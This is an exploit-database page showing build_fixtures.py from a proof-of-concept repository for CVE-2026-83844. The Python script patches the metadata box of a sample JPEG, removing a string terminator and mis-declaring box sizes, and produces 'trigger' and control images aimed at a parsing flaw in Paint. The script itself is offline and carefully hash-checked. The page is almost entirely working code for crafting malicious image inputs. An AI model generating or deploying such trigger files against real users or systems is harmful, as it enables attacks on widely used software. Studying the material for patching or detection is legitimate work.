Exploit databaseDownload repository ZIP
GH-945bd5267b0d1b94c3f74faf5cda7e5a
blkph0x/cve-2026-83844_poc
Sources for CVE-2026-83844
5 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
blkph0x/cve-2026-83844_pocRevision 193ed44859da
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/corpus/provenance_bfdb_declared_vs_physical/build_fixtures.py
Python · 5,504 bytes#!/usr/bin/env python3
"""Build a pinned bfdb declared-size versus physical-byte JPEG matrix.
All output files are offline inputs. This builder never starts Paint.
"""
from __future__ import annotations
import argparse
import hashlib
import json
from pathlib import Path
ROOT = Path(__file__).resolve().parents[3]
HERE = Path(__file__).resolve().parent
SOURCE = ROOT / "lab/corpus/third_party/c2pa_org_adobe_20220124_C.jpg"
OUTPUT = ROOT / "lab/output/provenance-bfdb-declared-vs-physical"
SOURCE_SHA = "75a8da33f6eaf1e16bf3b42cd78913b22b2e6a671fda217a508b1ba4230ce864"
SOURCE_SIZE = 140297
PARENTS = ((0x16, 2, 51128), (0x20, 4, 51118), (0x46, 4, 51080),
(0xA1, 4, 32252), (0xD2, 4, 31695))
EMPTY_BIDB = b"\x00\x00\x00\x08bidb"
EXPECTED_SHA = {
"control-40.jpg": "c4af8f072877b9a6a0db19f409dc0c56cc88b72962f2ef8c1f3ca49aac7be52d",
"trigger-40.jpg": "75315db4096f7580490dfbfe8beedc17dcc79f1854a50aa571c7327c71852afa",
"control-41-overdeclared.jpg": "ed0a904d3ff4e0829ba337af38ca15de98d3e9f208447e70a6490e16992fda80",
"trigger-41-overdeclared.jpg": "74d521d12fe886ad4014aa399bd1e6d2b57bbfe4e786e62fb9f534ce00a3cb53",
"control-32-underdeclared.jpg": "10bde732b5219facf3705cefdf8e0968b08851bac6a5e798eaa372adcf694112",
"trigger-32-underdeclared.jpg": "fac640bd1cc786667f40c80ad7539379024c02b0d1da5ece6ba662f799358fa4",
}
def sha(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
def source_bytes() -> bytes:
source = SOURCE.read_bytes()
if len(source) != SOURCE_SIZE or sha(source) != SOURCE_SHA:
raise ValueError("Licensed source size/hash differs")
if (source[:2] != b"\xff\xd8" or source[-2:] != b"\xff\xd9" or
source[0x14:0x16] != b"\xff\xeb" or
source[0x10D:0x115] != b"\x00\x00\x00\x14bfdb" or
source[0x115:0x121] != b"\x00image/jpeg\x00" or
source[0x121:0x129] != b"\x00\x00\x7b\x80bidb"):
raise ValueError("Pinned source JPEG/box boundary differs")
for offset, width, original in PARENTS:
if int.from_bytes(source[offset:offset + width], "big") != original:
raise ValueError(f"Pinned source length differs at {offset:#x}")
return source
def baseline(source: bytes, *, terminated: bool) -> bytes:
replacement = b"\x01" + b"A" * 19 + (b"\x00" if terminated else b"A")
data = bytearray(source[:0x120] + replacement + source[0x121:])
for offset, width, original in PARENTS:
data[offset:offset + width] = (original + 20).to_bytes(width, "big")
data[0x10D:0x111] = (40).to_bytes(4, "big")
return bytes(data)
def variants(source: bytes) -> dict[str, bytes]:
control = baseline(source, terminated=True)
trigger = baseline(source, terminated=False)
over_control = bytearray(control)
over_trigger = bytearray(trigger)
over_control[0x10D:0x111] = (41).to_bytes(4, "big")
over_trigger[0x10D:0x111] = (41).to_bytes(4, "big")
under_prefix = b"\x00image/jpeg\x01" + b"A" * 11
under_control = bytearray(trigger)
under_trigger = bytearray(trigger)
for data, last in ((under_control, b"\x00"), (under_trigger, b"A")):
data[0x10D:0x111] = (32).to_bytes(4, "big")
data[0x115:0x135] = under_prefix + last + EMPTY_BIDB
return {
"control-40.jpg": control,
"trigger-40.jpg": trigger,
"control-41-overdeclared.jpg": bytes(over_control),
"trigger-41-overdeclared.jpg": bytes(over_trigger),
"control-32-underdeclared.jpg": bytes(under_control),
"trigger-32-underdeclared.jpg": bytes(under_trigger),
}
def build(output_dir: Path = OUTPUT, *, check: bool = False) -> None:
manifest = json.loads((HERE / "manifest.json").read_text(encoding="utf-8"))
if (manifest.get("schema") != "paint-bfdb-declared-vs-physical-v1" or
manifest.get("source", {}).get("sha256") != SOURCE_SHA or
manifest.get("source", {}).get("license") != "CC-BY-SA-4.0" or
{row.get("file"): row.get("sha256") for row in manifest.get("outputs", [])} !=
EXPECTED_SHA):
raise ValueError("Pinned matrix manifest differs")
files = variants(source_bytes())
if set(files) != set(EXPECTED_SHA):
raise ValueError("Unexpected variant set")
if output_dir.exists():
if (not output_dir.is_dir() or output_dir.is_symlink() or
{item.name for item in output_dir.iterdir()} != set(files)):
raise ValueError("Generated file set differs")
elif check:
raise ValueError("Generated output directory is missing")
else:
output_dir.mkdir(parents=True)
for name, data in files.items():
if len(data) != 140317 or sha(data) != EXPECTED_SHA[name]:
raise ValueError(f"Pinned output differs: {name}")
path = output_dir / name
if path.exists():
if not path.is_file() or path.is_symlink() or path.read_bytes() != data:
raise ValueError(f"Refusing changed output: {path}")
elif check:
raise ValueError(f"Missing output: {path}")
else:
path.write_bytes(data)
print("Verified offline bfdb declared/physical matrix; Paint not run")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--output-dir", type=Path, default=OUTPUT)
parser.add_argument("--check", action="store_true")
arguments = parser.parse_args()
build(arguments.output_dir, check=arguments.check)